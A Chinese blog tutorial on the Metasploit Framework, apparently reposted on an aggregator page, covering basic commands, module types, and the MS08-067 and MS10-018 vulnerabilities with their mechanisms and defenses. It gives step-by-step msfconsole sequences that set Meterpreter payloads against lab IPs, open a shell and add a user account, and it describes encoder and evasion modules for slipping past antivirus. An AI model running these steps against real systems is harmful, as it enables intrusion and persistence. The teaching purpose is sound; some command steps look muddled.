news 2026/8/14 12:05:43

渗透测试之MSF讲解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
渗透测试之MSF讲解

一.MSF的简介

MSF全称是The Metasploit Framework,是一个开源的漏洞检测工具,可用于信息收集、漏洞探测、漏洞利用等渗透测试的全流程,本身附带2000多个已知软件漏洞的专业级漏洞攻击工具,被安全社区称为'可以黑掉全宇宙',支持Windows、Linux等系统。在Windows下,默认存放目录为C:\\metasploit-framework\\bin;在Kali下存放目录为/usr/share/metasploit-framework/。

二.MSF基本命令

msfconsole---输入msfconsole启动后就会进入【攻击命令交互界面】

--帮助命令

show--展示模块,比如展示所有模块show all / 展示利用模块 show exploits

search--搜索命令,例如搜索ms08-067模块,执⾏search ms08-067。

use--使用模块,use 0或use exploit/windows/smb/ms08_067_netap

back--从当前环境返回

connect--连接⼀个主机,例如connect www.baidu.com 80

info--显示⼀个或多个模块的信息,例如ms08-067的模块

info exploit/windows/smb/ms08_067_netapi

jobs--显示和管理作业(和windows任务管理器的进程作⽤⼀样)。

quit&exit--退出msf

三.MSF模块讲解

1.Exploits(漏洞利用模块)数量为2496个。主要包含了传说中的exp、0day、各种漏洞利用的脚本。⽤于攻击⽬标系统,这里边包含的exp的路径的命名规则是系统/服务/模块,比如:use exploites/windows(系统)/vnc(服务)/realvnc client(模块名)。
2.Auxiliary(辅助模块)数量为1283个。主要包含渗透测试中一些辅助性的脚本,
⽤于信息收集、⽹络发现、漏洞扫描等
3.Post(后渗透模块)数量为431个。⽤于在成功攻击后,进⼀步控制⽬标系统,如权 限提升、数据窃取等。
4.Payloads(攻击载荷模块)数量为1610个。⽤于在⽬标系统上执⾏代码,如反弹shell、程序 注⼊等。payloads主要是在目标机执行的,而exploits是在本地机执行作用于目标机。命名规则是:系统/类型/名称 比:use payloads/windows/shell/bind_tcp
5.Encoders(编码器模块)数量为49个。Encoder模块用于对攻击载荷进行编码,以绕过目标系统的安全防护机制,如入侵检测系统(1Ds)、入侵防御系统(IPS)等。编码后的载荷在功能上与原始载荷相同,但形式上发生了变化,从而降低被检测到的风险。 6.Nops(空指令模块)数量为13个。Nop模块主要用于在攻击载荷中填充一些无实际操作的指令,以确保攻击代码的执行流程更加稳定同时也可以用于调整攻击载荷的长度。
7.Evasion(免杀模块)数量为9个。Evasion模块用于绕过目标系统的反病毒软件和其他安全检测机制,使攻击载荷能够在目标系统上顺利执行而不被发现。
流程就是先使用辅助模块进行探测,然后使用漏洞利用模块进行攻击,至于攻击后你要在目标机上干什么就需要再使用攻击载荷模块设置在目标机上使用的程序或者命令,然后再使用后渗透模块进行提权等。

四.MSF渗透测试实操

1.络服务器攻击渗透(MS08-067

漏洞触发路径:
  • 攻击者通过目标主机开放的445端口(SMB服务默认端口)发送特制的RPC请求,调用Server服务中的NetPathCanonicalize函数
  • 该函数负责对远程访问路径进行规范化处理,但在处理包含相对路径(如..\)的输入时,未正确验证路径字符串边界
缓冲区溢出关键逻辑:
  • 路径规范化漏洞:NetpwPathCanonicalize函数会将路径字符串中的/转换为\,并尝试移除冗余的相对路径(如..\)。然而在移除操作时,程序未正确检查路径字符串起始位置,导致查找路径前的\字符时越界访问低地址空间
  • 栈溢出实现:攻击者构造的恶意路径会触发缓冲区溢出,覆盖栈中的函数返回地址。例如,当路径以..\开头时,程序错误地将数据复制到栈的低地址区域,覆盖返回地址并跳转至攻击者预设的Shellcode
漏洞利用条件与影响:
  • 影响系统:Windows 2000、XP、Server 2003等早期版本(未安装2008年10月发布的KB958644补丁)
  • 利用限制
    • Windows XP默认防火墙会阻止外部RPC连接,但若启用文件共享或禁用防火墙则漏洞可被远程利用
    • Windows Vista及更高版本需通过身份验证
  • 实际危害:该漏洞曾被Conficker蠕虫大规模利用,导致数百万台计算机被感染
防御措施:
  • 补丁修复:安装微软官方补丁KB958644
  • 网络配置:关闭445端口、启用防火墙限制SMB服务的外部访问
  • 流量监控:检测包含恶意路径的SMB流量(如使用正则表达式匹配异常路径模式)

参考:MS08-067漏洞原理及详尽分析过程 - FreeBuf⽹络安全⾏业⻔户https://www.freebuf.com/vuls/203881.html2019-6-1

命令步骤:
  1. 启动MSF:msfconsole
  2. 设置模块:use exploit/multi/handler
  3. 配置载荷(可选):set payload windows/x64/meterpreter/reverse_tcp
  4. 查看参数:show options
  5. 设置参数set RHOST 192.168.146.130
  6. 运行:run
  7. shell
  8. net user
  9. net user test test /add
  10. net user
  11. net user test /del


2.浏览器攻击渗透(MS10-018)

⽤到的靶机为:WinXPenSP3

核⼼漏洞来源:

Tabular Data Control ActiveX控件缺陷

触发组件:IE 6/7/8版本中集成的Tabular Data ControlTDCActiveX控件,⽤于处 理表格数据加载(如CSV⽂件)。

漏洞触发机制当TDC控件解析超⻓URL参数时,未正确验证输⼊⻓度,导致内存越界写⼊。攻击者构造包含恶意编码的URL(例如data:text/html;base64,...),利⽤堆内存损坏或释放后重⽤(UAF)漏洞,覆盖关键内存地址,进⽽劫持程序控制流。

内存破坏类型堆溢出(Heap Overflow):超⻓URL参数超出预分配缓冲区,覆盖相邻内存区域。类型混淆(Type Confusion:控件对内存对象类型校验不严,导致攻击者篡改对象指针。

漏洞利⽤链 :

初始阶段:⽤户访问恶意⽹⻚或点击钓⻥链接,触发IE加载包含恶意TDC脚本的HTML⻚⾯。内存布局操控:通过JavaScript动态分配内存,精确布置Shellcode地址。控制流劫持:利⽤内存损坏覆盖虚函数表(vtable)或返回地址,跳转⾄攻击者预设的指令

(如JMP ESP指令)。
防御与修复措施:
1.官⽅补丁修复
补丁编号:微软通过安全公告MS10-018发布修复补丁(KB980182),更新TDC控件的内存
处理逻辑。
补丁验证:安装后,攻击尝试会因内存保护机制失效⽽⽆法触发Shellcode。
2. 临时缓解⽅案
禁⽤ActiveX控件:通过IE安全设置禁⽤TDC控件(CLSID:333C7BC4-460F-11D0-BC04-00
80C7055A83)。
启⽤DEP/ASLR:在⾼级IE设置中强制启⽤数据执⾏保护和地址空间随机化。
参考:
MS10-018详细原理:https://blog.csdn.net/weixin_47114294/article/details/146425289
命令步骤:
1.启动MSF:msfconsole
2.使用模块:use exploit/windows/browser/ms10_018_ie_behaviors
3.设置自己服务器IP:set SRVHOST 192.168.174.129kali⾃⼰的ip
4.设置载荷:set PAYLOAD windows/meterpreter/bind_tcp
5:设置参数本机端口:set LPORT 4441
6.执行渗透攻击模块:exploit -jrun -j(-j: 将攻击任务放入后台运行)
7.#等待靶机执⾏
8.jobs
9.sessions
10.sessions -i 1
11.shell

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/14 15:56:02

编写一个dockerfile,实现一个打包好的jenkins直接用

文章目录 前言 一、总体文件需求 二、编写Dockerfile 三、docker build& docker push 四、使用docker pull&docker run 五、相关连接 前言 我有一篇文章,关于如何在centos中安装jenkins并且配置的方法。但是因为每次安装都要安装很多东西(jdk17,jenkins,git,maven,n…

作者头像 李华
网站建设 2026/7/14 15:56:02

【AI领域】OpenClaw 实战指南:手把手教你更新大模型

OpenClaw 作为轻量高效的 AI Agent 调度平台,凭借灵活的扩展性成为开发者连接多模型的首选工具。但官方默认配置仅支持有限接口,对于追求低成本、高稳定性的开发者来说,接入第三方 API是更优解 —— 不仅能大幅降低 token 消耗,还…

作者头像 李华
网站建设 2026/7/14 15:56:01

Python爬虫实战:基于 Python 的多版本文档差异自动化追踪系统!

㊗️本期内容已收录至专栏《Python爬虫实战》,持续完善知识体系与项目实战,建议先订阅收藏,后续查阅更方便~ ㊙️本期爬虫难度指数:⭐⭐⭐ (进阶) 🉐福利: 一次订阅后,专栏内的所有文…

作者头像 李华
网站建设 2026/7/14 15:56:03

没有学不会的义务之动态内存管理

为什么要有动态内存管理:让程序员自己可以申请和释放空间(数组等开辟空间的大小是固定的)内存中的不同区malloc函数功能:向内存的堆区申请一块连续可用的空间,并返回指向这块空间的起始地址。1.如果开辟成功&#xff0…

作者头像 李华
网站建设 2026/7/14 15:56:06

网络套接字编程(UDP)

目录 一、预备知识 1.端口号的认识 1.1为什么需要端口号? 1.2 什么是端口号? 1.3 端口号的分类 1.4 端口号与IP地址的组合 2.TCP(传输控制协议) 2.1 核心特点 2.2 典型应用 3. UDP(用户数据报协议&#xff0…

作者头像 李华
网站建设 2026/7/14 15:56:05

钉钉机器人安全配置全攻略:从IP白名单到关键词过滤的避坑指南

钉钉机器人安全配置实战:从零构建企业级自动化通知防线 在数字化办公成为常态的今天,钉钉机器人早已超越了简单的“消息推送器”角色,成为了连接业务系统与团队协作的关键枢纽。无论是监控告警、数据同步、流程审批,还是日常的自动…

作者头像 李华